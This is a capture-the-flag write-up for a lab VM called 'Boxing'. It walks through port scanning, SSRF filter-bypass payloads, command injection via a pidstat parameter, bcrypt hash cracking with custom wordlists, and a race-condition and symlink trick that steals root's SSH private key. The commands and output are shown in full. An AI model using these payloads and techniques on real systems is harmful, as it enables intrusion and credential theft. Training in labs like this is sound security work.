Boxing
This machine teaches about the race conditions along with symlinks.
Port Scan Results ⤵️
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─$ nmap -sC -sV -p- -vv -T4 -oN Nmap_Result.txt 10.0.2.13
Nmap scan report for 10.0.2.13
Host is up, received arp-response (0.00054s latency).
Scanned at 2025-06-24 11:14:07 IST for 14s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 dd:74:2f:1c:d1:23:f6:1f:dd:3a:52:94:5d:8b:7c:d9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLY/Tir2FkRAXQpX/SIaJMH+KPi9iy+ORbcXQ8wNEeYMKqY3YBCu/UK6o4uEI67PItwJjQU6LDviN0lvscz6TAw=
| 256 96:fb:74:b2:7d:ac:66:40:e9:94:df:83:9a:a6:07:64 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA+Bu0Z/Y8/SDx2JYaJsoWxQzQWUgaLuni9OyAE4SdFm
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Oxer
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
MAC Address: 08:00:27:AF:3D:7B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web Enumeration ⤵️
Lets check on the port 80 Web part 🔻
Through Burpsuite
I can see a subdomain through loading feedback.php page 🔻
Lets see the site 🔻
This subdomain page react with SSRF payloads
Lets find some information related to domain name , sub-directories or directory listing.
1
feroxbuster -u http://staging-env.boxing.hmv --depth 2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -o ferox.json
Through directory bruteforcing with feroxbuster
tool I can see the files like client_requests.har.swp where I get this information.
This file includes clues related to cassius user password
Lets decode this URL encoded text and see the content clearly through burpsuite decoder
tab 🔻
Now with the subdomain we can see a input url input box that require us to enter a url , that em-pleas that there may be indication of SSRF vulnerability present lets clarify our suspicion.
I tried all the SSRF payload
with whitelisting filter bypass also and I got a response also from this 🔻
Bypassing filters
In order to conduct SSRF attacks properly, there may be use cases where filters need to be bypassed
Pattern validation
In this context, a whitelist-based input filter can be used to restrict the types of URLs that a user can submit. For example, the filter might only allow URLs that match the whitelist pattern. In this situation, you can bypass the filter using various techniques :
- Using the
@
character in a URL like this : https://{url}@{target_host}
- Using the
#
character to indicate that the first field is interpreted as a URL fragment like this : https://{target_host}#{url}
- Using the DNS name to place required input into a fully-qualified DNS like this :
https://{url}.{target_host}
- URL encode, even double URL encoding this special character to bypass the filter
- Use a combination of all this technique like using the
#@
characters.
1
2
3
http://boxing.hmv#127.0.0.1
or
http://boxing.hmv@127.0.0.1
SSRF whitelisting filter bypass payloads that let us see port 80 of server
Now I can see the port 80 of this site is loaded so lets find out which other ports are open internally and not visible to externally through this SSRF vulnerability 🔻
I used a command port numbers to get this scans done with this wordlists : Top nmap 10000 ports
Other ports that are internally open in server and not externally visible
I got a hit on port 5000 lets see the contents I got this input field again this time it is processName .
After some headaches I got that some process name commands gives some outputs like system
,asd
,systemd
like that and that is also only visible through curl execution like this 🔻
This input field lets execute
pidstat
tool ouput
1
2
3
4
5
6
7
8
9
10
11
└─$ curl -s -X POST "http://staging-env.boxing.hmv/index.php?url=http%3A%2F%2Fboxing.hmv%40127.0.0.1%3A5000?processName=system" | grep '<pre>' -A 8
<div class='output'><pre>Linux 6.1.0-17-amd64 (boxing) 27/06/2025 _x86_64_ (1 CPU)
05:53:49 UID PID %usr %system %guest %wait %CPU CPU Command
05:53:49 0 1 0,13 0,18 0,00 0,52 0,31 0 systemd
05:53:49 0 220 0,02 0,02 0,00 0,13 0,05 0 systemd-journal
05:53:49 0 237 0,04 0,04 0,00 0,25 0,08 0 systemd-udevd
05:53:49 997 267 0,02 0,01 0,00 0,25 0,03 0 systemd-timesyn
05:53:49 0 454 0,02 0,01 0,00 0,14 0,03 0 systemd-logind
</pre></div></body>
That command behind this execution is pidstat tool that result in this output 🔻
Lets apply this command if this pidstat
is behind this script then we need a command along with another command for command execution
.
1
2
3
system+-e+id
# This above code does not work due to not url encoded so lets encode it then use it again 🔻
system%2B-e%2Bid
This pidstat command lets execute command like
id
1
2
3
4
5
6
└─$ curl -s -X POST "http://staging-env.boxing.hmv/index.php?url=http%3A%2F%2Fboxing.hmv%40127.0.0.1%3A5000?processName=system%2B-e%2Bid" | grep '<pre>' -A 4
<div class='output'><pre>Linux 6.1.0-17-amd64 (boxing) 27/06/2025 _x86_64_ (1 CPU)
uid=33(www-data) gid=33(www-data) groupes=33(www-data)
06:15:17 UID PID %usr %system %guest %wait %CPU CPU Command
</pre></div></body>
Lets have a shell through nc
reverse shell command 🔽
This let us execute a proper shell through
nc
command
Lets do some enumeration after exploitation 🔽
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@boxing:~$ ls /var/www
ls /var/www
dev html
www-data@boxing:~$ ls /var/www/dev
ls /var/www/dev
boxing_database.db cache index.php
www-data@boxing:~$ cd /var/www/dev
cd /var/www/dev
www-data@boxing:~/dev$ file boxing_database.db
file boxing_database.db
boxing_database.db: SQLite 3.x database, last written using SQLite version 3040001, file counter 5, database pages 6, cookie 0x4, schema 4, UTF-8, version-valid-for 5
www-data@boxing:~/dev$ sqlite3 boxing_database.db
sqlite3 boxing_database.db
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
.tables
fighters matches news users
sqlite> select * from users;
select * from users;
1|cassius|$2b$05$gPKe1EUBPZidX/j3qTDapeznU4CMfkpMd0sQhgehhhoG/pwc4OnVu
sqlite> .exit
.exit
www-data@boxing:~/dev$
Lets crack this passsword for user cassius 🔻
From above hint I got though the client_requests.har.swp file where the password is suppose to be ‘Cassius!’ that means that there are some characters are missing into this password I am guessing that the characters that are messing are numbers so Lets create a number combinations after this password and run through this password hash through John the ripper tool.
I have 2 ways to create the wordlists like this :
- Through crunch Tool :
1
└─$ crunch 8 12 -t 'Cassius!%%%' -o wordlist.txt
- Through bash script like this 🔻
1
└─$ echo 'Cassius!'{0..9999} | tr ' ' '\n' > wordlists.txt
- We can also use the direct john rules method like this 🔻 ```bash └─$ echo ‘Cassius!’ > password.txt
└─$ john hashes.txt -w=password.txt - rules=best64
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{: .nolineno}

_Cracking of password hash with custom made wordlists_
```bash
┌──(kali🔥kali)-[~/Downloads/HackMyVM/Boxing]
└─$ john --wordlist=wordlist.txt hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Cassi**** (?)
1g 0:00:00:00 DONE (2025-06-25 12:23) 3.030g/s 381.8p/s 381.8c/s 381.8C/s
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Lets have an SSH session now 🔻
Got a proper SSH shell which is stable
Now for the root user I need some more enumeration through this user let us see what this user can do to get to root 🔻
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
cassius@boxing:~$
cassius@boxing:~$ cd /opt
cassius@boxing:/opt$ ls
pidstat sos
cassius@boxing:/opt$ cd sos
cassius@boxing:/opt/sos$ ls
incrontab.sh logs sos.sh
cassius@boxing:/opt/sos$
cassius@boxing:/opt/sos$ cat incrontab.sh
#!/bin/bash
echo '/etc/apache2/sites-available/000-default.conf IN_MODIFY systemctl restart apache2' | incrontab -
echo '/etc IN_DELETE,IN_MODIFY,IN_MOVED_FROM /bin/echo "File: $@/$# => $%" > /root/user_flag.log' | incrontab -
echo '/home/cassius/user.txt IN_ATTRIB /opt/sos/sos.sh' | incrontab -
cassius@boxing:/opt/sos$ cat sos.sh
#!/bin/bash
logs="/opt/sos/logs/output-logs.txt"
rm $logs
exec &>$logs
cd /home/cassius
file *
ss -altupn
last -a
w
ps aux
top -n 1
lsof
for user in $(cut -f1 -d: /etc/passwd); do
echo "Cron jobs for $user:"
crontab -u $user -l
done
tail /var/log/syslog
sha256sum /bin/* /sbin/* /usr/bin/* /usr/sbin/*
chmod 700 $logs
cassius@boxing:/opt/sos$
For exploiting this cronjob for root I need to use echo '/home/cassius/user.txt IN_ATTRIB /opt/sos/sos.sh' | incrontab -
This command to make some changes which is possible though IN_ATTRIB
this attribute that let us make some changes.
How I Used a Race Condition to Capture Root Log Files in a Linux Privilege Escalation Lab
A script running as root:
1
/opt/sos/sos.sh
It logs system information to:
1
/opt/sos/logs/output-logs.txt
I could not read this log file directly since it was root-owned.
How sos.sh
Created the Race Condition
Inside sos.sh
:
1
2
3
4
5
logs="/opt/sos/logs/output-logs.txt"
rm $logs
exec &>$logs
...
chmod 700 $logs
What happens:
1️⃣ Deletes output-logs.txt
.
2️⃣ Recreates it and sends all output there.
3️⃣ Changes permissions to 700
(only root can read).
⚡ The Race Window
Before chmod 700
runs, the file is created with default permissions (644
), making it temporarily world-readable.
Using the -f
Flag Trick in file *
✅ What I did:
Created a file named
-f
:1
touch -- -f
Since
sos.sh
runs:1
file *
the
*
expands to-f
and other files.
✅ What happened:
file
interprets-f
as a flag:1 2
file: invalid option -- 'f' Usage: file [OPTION]... [FILE]...
Let take an example to clarify this, why am I using -f
flag not any other flag from file
command, Lets use it on user.txt
file 🔻
Working of
file
command As you can see the -f flag omits the content of the files that’s why.
For this to work I need to create a symlink that does this 🔽
How I Dumped a Root SSH Private Key Using a Race Condition and a Symlink
Steps:
1️⃣ Created a symlink:
1
ln -s /root/.ssh/id_rsa id_rsa_link
2️⃣ Ran a loop to repeatedly trigger sos.sh
:
1
2
3
4
while true; do
touch /home/cassius/user.txt
cp /opt/sos/logs/output-logs.txt ~/ 2>/dev/null
done
3️⃣ After a few seconds, output-logs.txt
appeared in my home directory containing:
1
2
-----BEGIN OPENSSH PRIVATE KEY-----
...
Extracted
id_rsa
file from root directory
✅ Result:
I successfully dumped the root SSH private key using:
- A symlink +
file *
misconfiguration. - A race condition on log file permissions.
- An aggressive copy loop to capture the file during its readable window.
🛡️ Defensive Lessons:
🔒 Never run file *
as root on user-writable directories.
🔒 Avoid logging sensitive data to world-readable locations, even temporarily.
🔒 Use strict umask
or O_CREAT | O_EXCL
with correct permissions on sensitive logs.
Lets sort this private key and get the root shell now 🔻
This output is sorted in
sublime-text
Tool text editor
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(kali🔥kali)-[~/Downloads/HackMyVM/Boxing]
└─$ awk -F: '{ print $1 }' root_id_rsa > root
┌──(kali🔥kali)-[~/Downloads/HackMyVM/Boxing]
└─$ chmod 600 root
┌──(kali🔥kali)-[~/Downloads/HackMyVM/Boxing]
└─$ ssh root@boxing.hmv -i root
Linux boxing 6.1.0-17-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.69-1 (2023-12-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Feb 4 17:19:34 2024 from 192.168.0.30
root@boxing:~# whoami
root
root@boxing:~# id
uid=0(root) gid=0(root) groupes=0(root)
root@boxing:~# hostname
boxing
root@boxing:~# ls -al
total 36
drwx------ 5 root root 4096 4 févr. 2024 .
drwxr-xr-x 18 root root 4096 4 févr. 2024 ..
lrwxrwxrwx 1 root root 9 4 févr. 2024 .bash_history -> /dev/null
-rw-r--r-- 1 root root 571 4 févr. 2024 .bashrc
drwx------ 3 root root 4096 4 févr. 2024 .config
drwxr-xr-x 3 root root 4096 4 févr. 2024 .local
-rw-r--r-- 1 root root 161 4 févr. 2024 .profile
-rwx------ 1 root root 33 4 févr. 2024 root.txt
drwx------ 2 root root 4096 4 févr. 2024 .ssh
-rw-r--r-- 1 root root 55 26 juin 08:01 user_flag.log
root@boxing:~# cat root.txt
1*******************************
root@boxing:~# cat user_flag.log
File: /etc/resolv.conf.dhclient-new.22177 => IN_DELETE
root@boxing:~#
This machine was fun to solve !!
If you have any questions or suggestions, please leave a comment below. Thank You !